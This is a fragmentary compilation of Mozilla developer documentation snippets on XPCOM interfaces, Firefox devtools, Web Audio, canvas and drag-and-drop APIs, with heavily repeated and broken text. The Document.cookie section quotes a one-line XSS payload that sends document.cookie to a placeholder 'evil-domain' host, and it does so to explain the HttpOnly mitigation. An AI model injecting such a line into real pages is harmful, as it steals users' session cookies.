startbatch() batching - can be used to cache file stream for local mail, and perhaps to use the mdb batching mechanism as well. void
startbatch(); endbatch() void endbatch(); getofflineopforkey() offline operations - we could move these into an offline operation interface but it would have to be in nsmaildatabase, since local folders can be move destinations. nsimsgofflineimapoperation getofflineo...
nsIResumableChannel
base/public/nsiresumablechannel.idlscriptable this interface is meant to be implemented by the channels that support resuming broken downloads (for example necko's html and ftp channels). inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void asyncopenat(in nsistreamlistener listener, in nsisupports ctxt, in unsigned long
startpos, in nsiresumableentityid entityid); obsolete since gecko 1.8 void resumeat(in unsigned long long
startpos, in acstring entityid); attributes attribute type description entityid acstring the entity id for this uri. available after on
startrequest. read only. exceptions thrown ns_error_not_resumable if this load is not resumable. methods asyncopenat() obsolete si...
...ong
startpos, in acstring entityid); attributes attribute type description entityid acstring the entity id for this uri. available after on
startrequest. read only. exceptions thrown ns_error_not_resumable if this load is not resumable. methods asyncopenat() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) open this channel, and read
starting at the specified offset. the request given to the nsistreamlistener will be qiable to nsiresumableinfo. void asyncopenat( in nsistreamlistener listener, in nsisupports ctxt, in unsigned long
startpos, in nsiresumableentityid entityid ); parameters listener as for asyncopen. ctxt as for asyncopen.
startpos the
starting offset, in bytes, to use to download. entityid information about t...
...stener, in nsisupports ctxt, in unsigned long
startpos, in nsiresumableentityid entityid ); parameters listener as for asyncopen. ctxt as for asyncopen.
startpos the
starting offset, in bytes, to use to download. entityid information about the file, to match before obtaining the file. pass an empty string to use anything. resumeat() prepare this channel for resuming. the request will not
start until asyncopen or open is called. calling resumeat after open or asyncopen has been called has undefined behaviour. during on
startrequest, this channel will have a status of ns_error_not_resumable if the file cannot be resumed, for example because the server doesn't support this. this error may occur even if
startpos is 0, so that the front end can warn the user. similarly, the status of this ch...
...n or open is called. calling resumeat after open or asyncopen has been called has undefined behaviour. during on
startrequest, this channel will have a status of ns_error_not_resumable if the file cannot be resumed, for example because the server doesn't support this. this error may occur even if
startpos is 0, so that the front end can warn the user. similarly, the status of this channel during on
startrequest may be ns_error_entity_changed, which indicates that the entity has changed, as indicated by a changed entityid. in both of these cases, no ondataavailable will be called, and onstoprequest will immediately follow with the same status code. void resumeat( in unsigned long long
startpos, in acstring entityid ); parameters
startpos the
starting offset, in bytes, to use to download. ent...
nsISelectionPrivate
endplaceholdertransaction will give rise to reflow/refreshing view/scroll, a...
...s of nstextframe::getpointfromoffset whose return value is to be cached. see bug 35296 and bug 199412 native code only! interlineposition boolean type short returns the type of the selection (see nsiselectioncontroller for available constants). read only. ...
... void endbatchchanges(); parameters none. native code only!getcachedframeoffset returns cached value for nstextframe::getpointfromoffset. void getcachedframeoffset( in nsiframe aframe, in print32 inoffset, in nspointref apoint ); parameters aframe inoffset apoint getenumerator() nsienumerator getenumerator(); parameters none. return value nativ...
...sipresshell apresshell ); parameters apresshell native code only!settextrangestyle set the painting style for the range. the range must be a range in the selection. the textrangestyle will be used by text frame when it is painting the selection. void settextrangestyle( in nsidomrange range, in consttextrangestyleref textrangestyle ); parameters range textrangestyle
startbatchchanges() will stop user interface updates while multiple selection methods are called. call endbatchchanges() to resume user interface updates. void
startbatchchanges(); parameters none. tostringwithformat() wstring tostringwithformat( in string formattype, in unsigned long flags, in print32 wrapcolumn ); parameters formattype flags wrapcolumn return value ...
nsITreeSelection
layout/xul/base/src/tree/public/nsitreeselection.idlscriptable this interface is used by the tree widget to get information about what is selected. ...
...read only. currentcolumn nsitreecolumn ...
...single selection. read only. tree nsitreeboxobject the tree widget for this selection. methods adjustselection() called when the row count changes to adjust selection indices. void adjustselection( in long index, in long count ); parameters index index of the change. count number of rows changed. clearrange() clears the range. void clearrange( in long
startindex, in long endindex ); parameters
startindex index to clearing at. endindex index to stop clearing at. clearselection() clears the selection. void clearselection(); parameters none. getrangeat() returns two objects whose value properties represent the minimum and maximum indices of the given selection range. see the tree selection tutorial. void getrangeat( in long i, ...
...ction(); parameters none. invertselection() inverts the selection. void invertselection(); parameters none. isselected() indicates whether or not the row at the specified index is part of the selection. boolean isselected( in long index ); parameters index index of the row to check. return value rangedselect() select the range specified by the indices. void rangedselect( in long
startindex, in long endindex, in boolean augment ); parameters
startindex index to
start selecting at. endindex index to stop selecting at. this parameter is inclusive; to select one item, set endindex ==
startindex. augment if true, the range is added to the selection without clearing out anything else. if false, everything is cleared except for the specified range. sele...
nsIWebContentHandlerRegistrar
o list of webservice handlers. in the image below "gmail" and "yahoo! mail" already exist as webservice handlers. ...
...window); in this example the services.wm.getenumerator was used to find a window that had the same host name (contentwindow.location.hostname) as the uri (uri.host) we are trying to add. if it does not find anything with host name of mail.live.com then it aborts. if the host names do not match, this error will be thrown in the error console. ...
...ontentwindow.location.hostname) as the uri (uri.host) we are trying to add. if it does not find anything with host name of mail.live.com then it aborts. if the host names do not match, this error will be thrown in the error console. ...
...so lets restore it back to false, which is the default value services.prefs.clearuserpref('gecko.handlerservice.allowregisterfromdifferenthost'); } register a webmail service as mailto handler without contentwindo...
nsIXULTemplateQueryProcessor
expected to consist of either text or dom nodes that, when executed by a call to the generateresults() method, will allow the generation of a list of results. the template builder will supply two variables, the reference variable and the member variable to further indicate what part of the datasource is to be examined in addition to the query itself. the reference is always a placeholder for the
starting point and the member is always a placeholder for the end points (the results). the reference point is important when generating output recursively, as the query will be the same for each iteration, however, the reference point will differ. for instance, when examining an xml source, an xml query processor might begin at the node referred by the reference variable and end at a list of that node...
...using the "member" attribute, or it may be specified in the first <action> body in the template as the value of a uri attribute on an element. a breadth-first search of the first action is performed to find this element. if unspecified, the default value of the reference variable is ?uri. for example, a query might have the following syntax: (?id, ?name, ?url) from bookmarks where parentfolder = ?
start this query might generate a result for each bookmark within a given folder. the variable ?
start would be the reference variable, while the variable ?id would be the member variable, since it is the unique value that identifies a result. each result will have the four variables referred to defined for it and the values may be retrieved using the result's nsixultemplateresult.getbindingfor() and ns...
...e ignored. the template builder will call this method once for each query within the template, before any results can be generated using generateresults(), but after initializeforbuilding() has been called. this method should not be called again for the same query unless the template is rebuilt. the reference variable may be used by the query processor as a placeholder for the reference point, or
starting point in the query. the member variable is determined from the member attribute on the template, or from the uri in the first action's rule if that attribute is not present. a rule processor may use the member variable as a hint to indicate what variable is expected to contain the results. nsisupports compilequery( in nsixultemplatebuilder abuilder, in nsidomnode aquery, in nsiatom arefv...
...e value of aquery must be the result of a previous call to compilequery() from this query processor. this method may be called multiple times, typically with different values for aref. nsisimpleenumerator generateresults( in nsisupports adatasource, in nsixultemplateresult aref, in nsisupports aquery ); parameters adatasource datasource for the data. aref context reference value used as a
starting point. aquery the compiled query returned from query compilation. return value an enumerator of nsixultemplateresult objects as the results. exceptions thrown ns_error_invalid_arg if aquery is invalid. getdatasource() retrieve the datasource to use for the query processor. the list of datasources in a template is specified using the datasources attribute as a space separated list of uris. t...
MailNews fakeserver
at said, someone writing a new test may have to take into account a new handler. a handler will contain the following methods: <caption> handler methods </caption> name arguments returns notes [command] rest of sent line server's response the name is normalized to be uppercase. onerror command, rest of sent line server's response called if handler does not define the command function. on
startup none server's response called when a connection is made. onmultiline sent line server's response or nothing called when in multi-line mode. postcommand server object none called after every command. the server is smart about the responses and will normalize all occurrences of '\n' (but not '\r') to '\r\n' for you, as well as append the '\r\n' to the response if not present. it will also ...
...k with your local fakeserver docs var handlers = [ /* some set of handlers */ ]; for (var handler in handlers) { // this sets up the fake server var server = new nsmailserver(new handler(daemon)); // port to use. i tend to like using 1024 + default port number myself. // probably best to include as a constant somewhere. also, use something // larger than 1024 for best results. ...
...to enable/disable debugging, call setdebuglevel on your nsmailserver instance with one of the following options: cons...
...to enable/disable debugging, call setdebuglevel on your nsmailserver instance with one of the following options: const fsdebugnone = 0; // ...
Intensive JavaScript - Firefox Developer Tools
of this walkthrough: the demo website looks like this: it has three controls: a radio button group to control how to run the javascript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker. a button to run the javascript, labeled "do pointless computations!". ...
...series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker. a button to run the javascript, labeled "do pointless computations!". a button to
start and stop some css animations. this just gives the browser some background tasks to perform. leaving the radio button set to "use blocking call in main thread", make a recording: press the "
start animations" button
start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one machine to another, but it will be something like this: the top half of this is the waterfall overview. it gives us a compressed view of the waterfall, which tells us what kinds of operations the browser is doing ...
...the code that actually performs the computations is exactly the same as the original code. so how does this version perform? switch the radio button to "use a worker", and capture a new profile. you should see something like this: in this profile we pushed the button three times. compared with the original, each button-press is visible in the ...
... original code. so how does this version perform? switch the radio button to "use a worker", and capture a new profile. you should see something like this: in this profile we pushed the button three times. compared with the original, each button-press is visible in the overview as two very short orange markers: the dopointlesscomputationsinworker() function that handles the click event and
starts the worker's processing the handleworkercompletion() function that runs when the worker calls "done". in between, the worker runs all the primality tests, and it doesn't seem to have any effect at all on the responsiveness of the main thread. this might seem unlikely, but because workers run in a separate thread, they can take advantage of multi-core processors, which a single-threaded web si...
Waterfall - Firefox Developer Tools
type always "collect". cc graph reduction preparation/pre-optimization for cycle collection. type always "forgetskippable". console the period between matching calls to console.time() and console.timeend(). timer name the argument passed to the console functions. stack at
start call stack console.time(), with links to functions. stack at end (new in firefox 41). call stack at console.timeend(). if this is inside a callback from a promise, this will also show the "async stack". timestamp a single call to console.timestamp(). label the argument passed to timestamp(). domcontentloa...
...click the link to see the allocation profile leading up to this gc event. see allocations and garbage collection for more details. adding markers with the console api two markers are directly controlled by console api calls: "console" and "timestamp". console markers these...
...triggers". click the link to see the allocation profile leading up to this gc event. see allocations and garbage collection for more details. adding markers with the console api two markers are directly controlled by console api calls: "console" and "timestamp". console markers these enable you to mark a specific section of the recording. to make a console marker, call console.time() at the
start of the section, and console.timeend() at the end. these functions take an argument which is used to name the section. for example, suppose we have code like this: var iterations = 70; var multiplier = 1000000000; function calculateprimes() { console.time("calculating..."); var primes = []; for (var i = 0; i < iterations; i++) { var candidate = i * (multiplier * math.random()); ...
... break; } } if (isprime) { primes.push(candidate); } } console.timeend("calculating..."); return primes; } the waterfall's output will look something like this: the marker is labeled with the argument you passed to console.time(), and when you select the marker, you can see the program stack in the right-hand sidebar. async stack new in firefox 41.
starting in firefox 41, the right-hand sidebar will also show the stack at the end of the period: that is, at the point console.timeend() was called. if console.timeend() was called from the resolution of a promise, it will also display "(async: promise)", under which it will show the "async stack": that is, the call stack at the point the promise was made. for example, consider code like this: var t...
AudioBufferSourceNode.loopEnd - Web APIs
the loopend property of the audiobuffersourcenode interface specifies is a floating point number specifying, in seconds, at what offset into playing the audiobuffer playback should loop back to the time indicated by the loop
start property. this is only used if the loop property is true. syntax audiobuffersourcenode.loopend = endoffsetinseconds; var endoffsetinseconds = audiobuffersourcenode.loopend; value a floating-point number indicating the offset, in seconds, into the audio buffer at which each loop will loop return to the beginning of the loop (that is, the current play time gets reset to audiobuffersourcenode.loop
start). this property is only used if the loop property is true. the default value is 0. example in this example, the audiocontext.decodeaudiodata() function is used ...
...for example, if you set their values to 20 and 25, respectively, then begin playback, the sound will play normally until it reaches the 25 second mark. ...
...his example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode. buttons are provided to play and stop the audio playback, and slider controls are used to change the playbackrate, loop
start and loopend properties on the fly. when the audio is played to the end, it loops, but you can control how long the loops last by altering loop
start and loopend. for example, if you set their values to 20 and 25, respectively, then begin playback, the sound will play normally until it reaches the 25 second mark. then the current play position will loop back to the 20 second mark and continue playing until the 25 second mark, ad infinitum (or at least until stop() is called). for a full working example, see this code running live, or view th...
...etype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loop
startcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ... loop
startcontrol.oninput = function() { source.loop
start = loop
startcontrol.value; loop
startvalue.innerhtml = loop
startcontrol.value; } loopendcontrol.oninput = functio...
AudioParam.setValueCurveAtTime() - Web APIs
the setvaluecurveattime() method of the audioparam interface schedules the parameter's value to change following a curve defined by a list of values. the curve is a linear interpolation between the sequence of values defined in an array of floating-point values, which are scaled to fit into the given interval
starting at
starttime and a specific duration. ...
...eattime() method of the audioparam interface schedules the parameter's value to change following a curve defined by a list of values. the curve is a linear interpolation between the sequence of values defined in an array of floating-point values, which are scaled to fit into the given interval
starting at
starttime and a specific duration. ...
...if this value is lower than audiocontext.currenttime, it is clamped to currenttime. duration a double representing the total time (in seconds) over which the parameter's value will change following the specified curve. ...
...me (in seconds) over which the parameter's value will change following the specified curve. the specified values are spaced equally along this duration. return value a reference to this audioparam object. some older browser implementations of this interface return undefined. exceptions invalidstateerror the specified array of values has fewer than 2 items in it. rangeerror the specified
starttime is either negative or a non-finite value, or duration is not a finite, strictly positive number. typeerror one or more of the values in the values array is non-finite. non-finite values are nan, infinity, and -infinity. usage notes when the parameter's value finishes following the curve, its value is guaranteed to match the last value in the set of values specified in the values paramete...
CanvasRenderingContext2D.arcTo() - Web APIs
s); parameters x1 the x-axis coordinate of the first control point. y1 the y-axis coordinate of the first control point. x2 the x-axis coordinate of the second control point. y2 the y-axis coordinate of the second control point. radius the arc's radius. must be non-negative. examples how arcto works one way to think about arcto() is to imagine two straight segments: one from the
starting point to a first control point, and another from there to a second control point. without arcto(), these two segments would form a sharp corner: arcto() creates a circular arc that fits this corner and smooths is out. in other words, the arc is tangential to both segments. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.get...
...tangent lines are gray, control points ...
...ath(); ctx.fillstyle = 'blue'; ctx.arc(200, 20, 5, 0, 2 * math.pi); ctx.fill(); // control points ctx.beginpath(); ctx.fillstyle = 'red'; ctx.arc(200, 130, 5, 0, 2 * math.pi); // control point one ctx.arc(50, 20, 5, 0, 2 * math.pi); // control point two ctx.fill(); result in this example, the path created by arcto() is thick and black. tangent lines are gray, control points are red, and the
start point is blue. creating a rounded corner this example creates a rounded corner using arcto(). this is one of the method's most common uses. html <canvas id="canvas"></canvas> javascript the arc begins at the point specified by moveto(): (230, 20). it is shaped to fit control points at (90, 130) and (20, 20), and has a radius of 50. the lineto() method connects the arc to (20, 20) with a ...
...eto(p2.x, p2.y); labelpoint(p0); labelpoint(p1); labelpoint(p2); ctx.stroke(); result result of a large radius if you use a relatively large radius, the arc may appear in a place you didn't expect. in this example, the arc's connecting line goes above, instead of below, the coordinate specified by moveto(). this happens because the radius is too large for the arc to fit entirely below the
starting point. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(180, 90); ctx.arcto(180,130, 110,130, 130); ctx.lineto(110, 130); ctx.stroke(); result live demo more sophisticated demo of the method. you can play around with range input to see how arc changes. html <div> <lab...
ConstantSourceNode - Web APIs
, audioscheduledsourcenode. some browsers' implementations of this event handler are part of the audioscheduledsourcenode interface. onended fired whenever the constantsourcenode data has stopped playing. methods inherits methods from its parent interface, audioscheduledsourcenode. some browsers' implementations of these methods are part of the audioscheduledsourcenode interface.
start() schedules a sound to playback at an exact time. stop() schedules a sound to stop playback at an exact time. example in the article controlling multiple parameters with constantsourcenode, a constantsourcenode is created to allow one slider control to change the gain on two gainnodes. the three nodes are set up like this: gainnode2 = context.creategain(); gainnode3 = context.creategain();...
...ne slider control to change the gain on two gainnodes. the three nodes are set up like this: gainnode2 = context.creategain(); gainnode3 = context.creategain(); gainnode2.gain.value = gainnode3.gain.value = 0.5; volumeslidercontrol.value = gainnode2.gain.value; constantnode = context.createconstantsource(); constantnode.connect(gainnode2.gain); constantnode.connect(gainnode3.gain); constantnode.
start(); gainnode2.connect(context.destination); gainnode3.connect(context.destination); this code
starts by creating the gain nodes and setting them and the volume control that will adjust their value all to 0.5. then the constantsourcenode is created by calling audiocontext.createconstantsource(), and the gain parameters of each of the two gain nodes are connected to the constantsourcenode. after ...
...finally, the two gain nodes are connected to the audio destination (typically speakers or headphones). now, whenever the value of constantnode.offset changes, the gain on both gainnode2 and gainnode3 will change to have that same value. ...
...finally, the two gain nodes are connected to the audio destination (typically speakers or headphones). now, whenever the value of constantnode.offset changes, the gain on both gainnode2 and gainnode3 will change to have that same value. ...
DataTransfer.effectAllowed - Web APIs
ion. the copy operation is used to indicate that the data being dragged will be copied from its present location to the drop location. the move operation is used to indicate that the data being dragged will be moved, and the link operation is used to indicate that some form of relationship or connection will be created between the source and drop locations. this property should be set in the drag
start event to set the desired drag effect for the drag source. within the dragenter and dragover event handlers, this property will be set to whatever value was assigned during the drag
start event, thus effectallowed may be used to determine which effect is permitted. assigning a value to effectallowed in events other than drag
start has no effect. syntax datatransfer.effectallowed; values a doms...
...hows the use of the effectallowed and dropeffect properties. ...
...dropeffect properties. ...
...n dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples <code>datatransfer</code>.{<code>dropeffect</code>, <code>effectallowed</code>} properties</h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'effectallo...
DataTransfer.setDragImage() - Web APIs
this image is created automatically, so you do not need to create it yourself. however, if a custom image is desired, the datatransfer.setdragimage() method can be used to set the custom image to be used. the image will typically be an <image> element but it can also be a <canvas> or any other visible element. the method's x and y coordinates define how the image should appear relative to the mouse pointer. these coordinates define the offset into the image where the mouse cursor should be. ...
...e a <canvas> or any other visible element. the method's x and y coordinates define how the image should appear relative to the mouse pointer. these coordinates define the offset into the image where the mouse cursor should be. for instance, to display the image so that the pointer is at its center, use values that are half the width and height of the image. this method must be called in the drag
start event handler. syntax void datatransfer.setdragimage(img | element, xoffset, yoffset); arguments img | element an image element element to use for the drag feedback image. if element is an img element, then set the drag data store bitmap to the element's image (at its intrinsic size); otherwise, set the drag data store bitmap to an image generated from the given element (the exact mechan...
...e is not present, the browser will use its default drag image. demo <!doctype html> <html lang=en> <title>example of datatransfer.setdragimage()</title> <meta name="viewport" content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function drag
start_handler(ev) { console.log("drag
start"); // set the drag's format and data. use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used. var img = new image(); img.src = 'example.gif';...
...andler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdragima...
DataTransfer.types - Web APIs
the order of the formats is the same order as the data included in the drag operation. the formats are unicode strings giving the type or format of the data, generally given by a mime type. some values that are not mime types are special-cased for legacy reasons (for example "text"). syntax datatransfer.types; return value an array of the data formats used in the drag operation. each format is string. if the drag operation included no data, this list will be empty. ...
...rag operation, then one of the types will be the string files. example this example shows the use of the types and items properties. ...
...ill be the string files. example this example shows the use of the types and items properties. ...
... + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondrag
start="drag
start_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondrag
start="drag
start_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standa...
DataTransferItemList.add() - Web APIs
be created (for example, if the associated datatransfer object has no data store), null is returned. exceptions notsupportederror a string data parameter was provided, and the list already contains an item whose kind is "plain unicode string" and whose type is equal to the specified type parameter. example this example shows the use of the add() method. ...
... (for example, if the associated datatransfer object has no data store), null is returned. exceptions notsupportederror a string data parameter was provided, and the list already contains an item whose kind is "plain unicode string" and whose type is equal to the specified type parameter. example this example shows the use of the add() method. ...
...paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"...
...paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { con...
Document.cookie - Web APIs
function doonce() { if (!document.cookie.split('; ').find(r...
...t2')) .split('=')[1]; function alertcookievalue() { alert(cookievalue); } <button onclick="alertcookievalue()">show cookie value</button> example #3: do something only once in order to use the following code, please replace all occurrences of the word dosomethingonlyonce (the name of the cookie) with a custom name. ...
...methingonlyonce=; expires=thu, 01 jan 1970 00:00:00 gmt"; } <button onclick="resetonce()">reset only once cookie</button> example #5: check a cookie existence //es5 if (document.cookie.split(';').some(function(item) { return item.trim().indexof('reader=') == 0 })) { console.log('the cookie "reader" exists (es5)') } //es2016 if (document.cookie.split(';').some((item) => item.trim().
startswith('reader='))) { console.log('the cookie "reader" exists (es6)') } example #6: check that a cookie has a specific value //es5 if (document.cookie.split(';').some(function(item) { return item.indexof('reader=1') >= 0 })) { console.log('the cookie "reader" has "1" for value') } //es2016 if (document.cookie.split(';').some((item) => item.includes('reader=1'))) { console.log(...
...ser's session. common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes
starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. this will make each request slower. it is highly recommended for you to use whatwg dom storage if...
Document.onbeforescriptexecute - Web APIs
fired when the code in a <script> element declared in an html document is about to
start executing. does not fire if the element is added dynamically, eg with appendchild(). syntax document.onbeforescriptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the script element that is about to be executed. ...
... fired when the code in a <script> element declared in an html document is about to
start executing. does not fire if the element is added dynamically, eg with appendchild(). syntax document.onbeforescriptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the script element that is about to be executed. ...
...cript> element declared in an html document is about to
start executing. does not fire if the element is added dynamically, eg with appendchild(). syntax document.onbeforescriptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the script element that is about to be executed. ...
...lement is added dynamically, eg with appendchild(). syntax document.onbeforescriptexecute = funcref; funcref is a function reference, called when the event is fired. ...
EffectTiming.fill - Web APIs
the web animations api's effecttiming dictionary's fill property specifies a fill mode, which defines how the element to which the animation is applied should look when the animation sequence is not actively running, such as before the time specified by iteration
start or after animation's end time. for example, setting fill to "none" means the animation's effects are not applied to the element if the current time is outside the range of times during which the animation is running, while "forwards" ensures that once the animation's end time has been passed, the element will continue to be drawn in the state it was in at its last rendered frame. note that authors are discouraged from using fill modes to persist the effect of an animation indefinitely. see the alternatives to fill mod...
...ment immediately after the animation first begins to play, and the second defines the effect applied to the element in the last moment before it ends. those phrases are crucial. let's look at why. the first keyframe says that when the animation begins, the element should be rotated 90° to the left. that means that unless we specify otherwise using the fill property, the instant the animation is
started the element will be rotated to the left 90°, and then it will animate smoothly from there. since by default the box isn't rotated, the last keyframe says that the animation's final frame should draw the animation rotated 90° to the right from its original orientation. var boxrotationtiming = { duration: 2000, iterations: 1, fill: "none" }; the boxrotationtiming object describes how l...
...timing ); }, false); the rest of the code is pretty simple: it adds an event listener to the "animate" button so that when it's clicked by the user, the box is animated by calling element.animate() on it, providing the boxrotationkeyframes and boxrotationtiming objects to describe the animation that should occur. result below we see what the result looks like. notice how before the animation
starts running, the box is upright, then upon clicking the "animate!" button, the box is instantly rotated 90° to the left (to correspond to the first keyframe in the animation sequence). then, when the animation finishes running, the box instantaneously leaps back to its original state and is upright once again. give it a try below! follow the white rabbit example in the follow the white rabbit ...
...this is the approach used in flip animation. elem.style.transform = 'translatey(100px)'; elem.animate({ transform: 'none', offset: 0 }, 200); for some complex effects where animations layer on top of one another, it may be necessary to use a fill mode temporarily to capture the final value of an animation before canceling it. elem.addeventlistener('click', async evt => { const animat...
GlobalEventHandlers.ondragend - Web APIs
ibute handler to set an element's dragend event handler. ...
...end event handler. ...
...e drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag
start_handler(ev) { console.log("drag
start"); // change the source element's background color to signify drag has
started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = e...
...nter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragend'...
GlobalEventHandlers.ondragenter - Web APIs
ute handler to set an element's dragenter event handler. ...
...ter event handler. ...
...e drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag
start_handler(ev) { console.log("drag
start"); // change the source element's background color to signify drag has
started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = e...
...nter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragente...
GlobalEventHandlers.ondragexit - Web APIs
bute handler to set an element's dragexit event handler. ...
...xit event handler. ...
...e drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag
start_handler(ev) { console.log("drag
start"); // change the source element's background color to signify drag has
started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = e...
...nter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragexi...
GlobalEventHandlers.ondragleave - Web APIs
ute handler to set an element's dragleave event handler. ...
...ave event handler. ...
...f using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag
start_handler(ev) { console.log("drag
start"); // change the source element's border to signify drag has
started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); va...
